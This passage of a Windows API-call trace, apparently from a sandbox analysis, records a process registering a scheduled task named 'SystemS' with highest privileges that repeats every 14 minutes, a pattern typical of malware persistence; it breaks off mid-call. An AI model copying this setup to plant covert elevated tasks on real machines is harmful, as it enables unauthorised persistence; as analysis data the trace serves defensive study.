[0129.451] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0129.451] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.451] lstrlenW (lpString="tr") returned 2 [0129.451] lstrlenW (lpString="tr") returned 2 [0129.451] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.451] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.451] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.451] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.451] lstrlenW (lpString="|tr|") returned 4 [0129.451] lstrlenW (lpString="|f|") returned 3 [0129.451] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0129.451] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.451] lstrlenW (lpString="st") returned 2 [0129.451] lstrlenW (lpString="st") returned 2 [0129.451] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.451] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.451] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|st|") returned 4 [0129.451] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.451] lstrlenW (lpString="|st|") returned 4 [0129.452] lstrlenW (lpString="|f|") returned 3 [0129.452] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0129.452] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.452] lstrlenW (lpString="sd") returned 2 [0129.452] lstrlenW (lpString="sd") returned 2 [0129.452] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.452] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.452] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sd|") returned 4 [0129.452] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.452] lstrlenW (lpString="|sd|") returned 4 [0129.452] lstrlenW (lpString="|f|") returned 3 [0129.452] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0129.452] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.452] lstrlenW (lpString="ed") returned 2 [0129.452] lstrlenW (lpString="ed") returned 2 [0129.452] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.452] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.452] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|ed|") returned 4 [0129.452] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.452] lstrlenW (lpString="|ed|") returned 4 [0129.452] lstrlenW (lpString="|f|") returned 3 [0129.452] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0129.452] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.452] lstrlenW (lpString="it") returned 2 [0129.452] lstrlenW (lpString="it") returned 2 [0129.452] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.452] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.453] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|it|") returned 4 [0129.453] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.453] lstrlenW (lpString="|it|") returned 4 [0129.453] lstrlenW (lpString="|f|") returned 3 [0129.453] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0129.453] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.453] lstrlenW (lpString="et") returned 2 [0129.453] lstrlenW (lpString="et") returned 2 [0129.453] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.453] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.453] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|et|") returned 4 [0129.453] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.453] lstrlenW (lpString="|et|") returned 4 [0129.453] lstrlenW (lpString="|f|") returned 3 [0129.453] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0129.453] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.453] lstrlenW (lpString="k") returned 1 [0129.453] lstrlenW (lpString="k") returned 1 [0129.453] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.453] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.453] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|k|") returned 3 [0129.453] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.453] lstrlenW (lpString="|k|") returned 3 [0129.453] lstrlenW (lpString="|f|") returned 3 [0129.453] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0129.453] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.454] lstrlenW (lpString="du") returned 2 [0129.454] lstrlenW (lpString="du") returned 2 [0129.454] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.454] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.454] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|du|") returned 4 [0129.454] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.454] lstrlenW (lpString="|du|") returned 4 [0129.454] lstrlenW (lpString="|f|") returned 3 [0129.454] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0129.454] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.454] lstrlenW (lpString="ri") returned 2 [0129.454] lstrlenW (lpString="ri") returned 2 [0129.454] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.454] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.454] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|ri|") returned 4 [0129.454] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.454] lstrlenW (lpString="|ri|") returned 4 [0129.454] lstrlenW (lpString="|f|") returned 3 [0129.454] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0129.454] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.454] lstrlenW (lpString="z") returned 1 [0129.454] lstrlenW (lpString="z") returned 1 [0129.454] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.454] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.454] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|z|") returned 3 [0129.454] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.454] lstrlenW (lpString="|z|") returned 3 [0129.455] lstrlenW (lpString="|f|") returned 3 [0129.455] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0129.455] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.455] lstrlenW (lpString="f") returned 1 [0129.455] lstrlenW (lpString="f") returned 1 [0129.455] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.455] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.455] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.455] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|f|") returned 3 [0129.455] lstrlenW (lpString="|f|") returned 3 [0129.455] lstrlenW (lpString="|f|") returned 3 [0129.455] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0129.455] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.455] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.455] GetProcessHeap () returned 0x2a3f45b0000 [0129.455] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb410 [0129.455] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.455] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0129.455] lstrlenW (lpString="LIMITED") returned 7 [0129.455] GetProcessHeap () returned 0x2a3f45b0000 [0129.455] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x10) returned 0x2a3f45baaf0 [0129.455] GetThreadLocale () returned 0x409 [0129.455] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0129.455] GetProcessHeap () returned 0x2a3f45b0000 [0129.455] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb2f0 [0129.455] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.456] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0129.456] lstrlenW (lpString="HIGHEST") returned 7 [0129.456] GetProcessHeap () returned 0x2a3f45b0000 [0129.456] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x10) returned 0x2a3f45baa30 [0129.456] GetThreadLocale () returned 0x409 [0129.456] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0129.456] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.456] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0129.456] lstrlenW (lpString="MINUTE") returned 6 [0129.456] GetProcessHeap () returned 0x2a3f45b0000 [0129.456] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0xe) returned 0x2a3f45baa10 [0129.456] GetThreadLocale () returned 0x409 [0129.456] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0129.456] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.456] GetProcessHeap () returned 0x2a3f45b0000 [0129.456] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x1fc) returned 0x2a3f45babf0 [0129.456] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.456] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0129.457] lstrlenW (lpString="First") returned 5 [0129.457] GetProcessHeap () returned 0x2a3f45b0000 [0129.457] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0xc) returned 0x2a3f45ba970 [0129.457] GetProcessHeap () returned 0x2a3f45b0000 [0129.457] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb590 [0129.457] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.457] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0129.457] lstrlenW (lpString="Second") returned 6 [0129.457] GetProcessHeap () returned 0x2a3f45b0000 [0129.457] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0xe) returned 0x2a3f45bab50 [0129.457] GetProcessHeap () returned 0x2a3f45b0000 [0129.457] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb440 [0129.457] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.457] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0129.457] lstrlenW (lpString="Third") returned 5 [0129.457] GetProcessHeap () returned 0x2a3f45b0000 [0129.457] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0xc) returned 0x2a3f45ba8f0 [0129.457] GetProcessHeap () returned 0x2a3f45b0000 [0129.457] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb6e0 [0129.457] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.457] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0129.457] lstrlenW (lpString="Fourth") returned 6 [0129.457] GetProcessHeap () returned 0x2a3f45b0000 [0129.457] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0xe) returned 0x2a3f45baa90 [0129.457] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.457] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0129.457] lstrlenW (lpString="Last") returned 4 [0129.457] GetProcessHeap () returned 0x2a3f45b0000 [0129.457] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0xa) returned 0x2a3f45ba8d0 [0129.458] lstrlenW (lpString="14") returned 2 [0129.458] _wtol (_String="14") returned 14 [0129.458] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.458] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0129.458] lstrlenW (lpString="First") returned 5 [0129.458] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.458] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0129.458] lstrlenW (lpString="Second") returned 6 [0129.458] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.458] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0129.458] lstrlenW (lpString="Third") returned 5 [0129.458] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.458] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0129.458] lstrlenW (lpString="Fourth") returned 6 [0129.458] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.458] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0129.458] lstrlenW (lpString="Last") returned 4 [0129.458] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xed002ac000, cchData=128 | out: lpLCData="0") returned 2 [0129.459] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.459] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0129.459] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0129.459] GetProcessHeap () returned 0x2a3f45b0000 [0129.459] GetProcessHeap () returned 0x2a3f45b0000 [0129.459] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45ba970) returned 1 [0129.459] GetProcessHeap () returned 0x2a3f45b0000 [0129.459] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45ba970) returned 0xc [0129.459] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45ba970) returned 1 [0129.459] GetProcessHeap () returned 0x2a3f45b0000 [0129.459] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x16) returned 0x2a3f45ba830 [0129.459] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xed002ac020, cchData=128 | out: lpLCData="0") returned 2 [0129.459] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.459] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0129.459] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0129.459] GetProcessHeap () returned 0x2a3f45b0000 [0129.459] GetProcessHeap () returned 0x2a3f45b0000 [0129.459] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bab50) returned 1 [0129.459] GetProcessHeap () returned 0x2a3f45b0000 [0129.459] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bab50) returned 0xe [0129.459] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bab50) returned 1 [0129.459] GetProcessHeap () returned 0x2a3f45b0000 [0129.459] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x16) returned 0x2a3f45baa50 [0129.460] GetLocalTime (in: lpSystemTime=0xed002ac258 | out: lpSystemTime=0xed002ac258*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x34, wMilliseconds=0x33f)) [0129.460] lstrlenW (lpString="") returned 0 [0129.460] GetLocalTime (in: lpSystemTime=0xed002acc48 | out: lpSystemTime=0xed002acc48*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x34, wMilliseconds=0x33f)) [0129.460] lstrlenW (lpString="") returned 0 [0129.460] lstrlenW (lpString="") returned 0 [0129.460] lstrlenW (lpString="") returned 0 [0129.460] lstrlenW (lpString="") returned 0 [0129.460] lstrlenW (lpString="14") returned 2 [0129.460] _wtol (_String="14") returned 14 [0129.460] lstrlenW (lpString="") returned 0 [0129.460] lstrlenW (lpString="") returned 0 [0129.460] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0129.487] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0129.665] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xed002ac9a0 | out: ppv=0xed002ac9a0*=0x2a3f47f5720) returned 0x0 [0129.756] TaskScheduler:ITaskService:Connect (This=0x2a3f47f5720, serverName=0xed002aca90*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xed002aca60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xed002aca40*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xed002aca20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0129.952] TaskScheduler:ITaskService:GetFolder (in: This=0x2a3f47f5720, Path=0x0, ppFolder=0xed002acb80 | out: ppFolder=0xed002acb80*=0x2a3f47f58a0) returned 0x0 [0129.955] TaskScheduler:ITaskService:NewTask (in: This=0x2a3f47f5720, flags=0x0, ppDefinition=0xed002acb58 | out: ppDefinition=0xed002acb58*=0x2a3f47f5920) returned 0x0 [0129.955] ITaskDefinition:get_Actions (in: This=0x2a3f47f5920, ppActions=0xed002acaa0 | out: ppActions=0xed002acaa0*=0x2a3f47f59b0) returned 0x0 [0129.955] IActionCollection:Create (in: This=0x2a3f47f59b0, Type=0, ppAction=0xed002acae0 | out: ppAction=0xed002acae0*=0x2a3f47f5dc0) returned 0x0 [0129.956] IUnknown:Release (This=0x2a3f47f5dc0) returned 0x1 [0129.956] IUnknown:Release (This=0x2a3f47f59b0) returned 0x1 [0129.956] ITaskDefinition:get_Triggers (in: This=0x2a3f47f5920, ppTriggers=0xed002ac650 | out: ppTriggers=0xed002ac650*=0x2a3f47f5c70) returned 0x0 [0129.956] ITriggerCollection:Create (in: This=0x2a3f47f5c70, Type=1, ppTrigger=0xed002ac638 | out: ppTrigger=0xed002ac638*=0x2a3f47f5e50) returned 0x0 [0129.956] lstrlenW (lpString="14") returned 2 [0129.956] _vsnwprintf (in: _Buffer=0xed002ac5c0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xed002ac5b8 | out: _Buffer="PT14M") returned 5 [0129.956] ITrigger:get_Repetition (in: This=0x2a3f47f5e50, ppRepeat=0xed002ac630 | out: ppRepeat=0xed002ac630*=0x2a3f47f5ee0) returned 0x0 [0129.956] IRepetitionPattern:put_Interval (This=0x2a3f47f5ee0, Interval="PT14M") returned 0x0 [0129.956] IUnknown:Release (This=0x2a3f47f5ee0) returned 0x1 [0129.956] _vsnwprintf (in: _Buffer=0xed002ac580, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xed002ac558 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0129.957] ITrigger:put_StartBoundary (This=0x2a3f47f5e50, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0129.957] lstrlenW (lpString="") returned 0 [0129.957] lstrlenW (lpString="") returned 0 [0129.957] lstrlenW (lpString="") returned 0 [0129.957] lstrlenW (lpString="") returned 0 [0129.957] IUnknown:Release (This=0x2a3f47f5e50) returned 0x1 [0129.957] IUnknown:Release (This=0x2a3f47f5c70) returned 0x1 [0129.957] ITaskDefinition:get_Settings (in: This=0x2a3f47f5920, ppSettings=0xed002acae0 | out: ppSettings=0xed002acae0*=0x2a3f47f5af0) returned 0x0 [0129.957] lstrlenW (lpString="") returned 0 [0129.957] IUnknown:Release (This=0x2a3f47f5af0) returned 0x3 [0129.957] GetLocalTime (in: lpSystemTime=0xed002ac998 | out: lpSystemTime=0xed002ac998*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x35, wMilliseconds=0x14b)) [0129.957] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0129.958] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xed002ac9b0, nSize=0xed002ac988 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xed002ac988) returned 0x1 [0129.958] ITaskDefinition:get_RegistrationInfo (in: This=0x2a3f47f5920, ppRegistrationInfo=0xed002ac980 | out: ppRegistrationInfo=0xed002ac980*=0x2a3f47f5a30) returned 0x0 [0129.958] IRegistrationInfo:put_Author (This=0x2a3f47f5a30, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0129.958] _vsnwprintf (in: _Buffer=0xed002ac9b0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xed002ac948 | out: _Buffer="2023-09-19T17:15:53") returned 19 [0129.958] IRegistrationInfo:put_Date (This=0x2a3f47f5a30, Date="2023-09-19T17:15:53") returned 0x0 [0129.958] IUnknown:Release (This=0x2a3f47f5a30) returned 0x1 [0129.959] malloc (_Size=0x18) returned 0x2a3f47f5f60 [0129.959] free (_Block=0x2a3f47f5f60) [0129.959] lstrlenW (lpString="") returned 0 [0129.959] ITaskDefinition:get_Principal (in: This=0x2a3f47f5920, ppPrincipal=0xed002acb48 | out: ppPrincipal=0xed002acb48*=0x2a3f47f5ce0) returned 0x0 [0129.959] IPrincipal:put_RunLevel (This=0x2a3f47f5ce0, RunLevel=1) returned 0x0 [0129.959] IUnknown:Release (This=0x2a3f47f5ce0) returned 0x1 [0129.959] malloc (_Size=0x18) returned 0x2a3f47f5f60 [0129.959] ITaskFolder:RegisterTaskDefinition (in: This=0x2a3f47f58a0, Path="SystemS", pDefinition=0x2a3f47f5920, flags=6, UserId=0xed002acbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xed002acbd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xed002acc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xed002acbb0 | out: ppTask=0xed002acbb0*=0x2a3f47f6fd0) returned 0x0 [0130.149] free (_Block=0x2a3f47f5f60) [0130.149] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0130.149] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0130.149] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0130.149] GetProcessHeap () returned 0x2a3f45b0000 [0130.149] GetProcessHeap () returned 0x2a3f45b0000 [0130.150] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45ba8f0) returned 1 [0130.150] GetProcessHeap () returned 0x2a3f45b0000 [0130.150] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45ba8f0) returned 0xc [0130.150] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45ba8f0) returned 1 [0130.150] GetProcessHeap () returned 0x2a3f45b0000 [0130.150] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x82) returned 0x2a3f45d4e10 [0130.150] _vsnwprintf (in: _Buffer=0xed002ad260, _BufferCount=0x1fb, 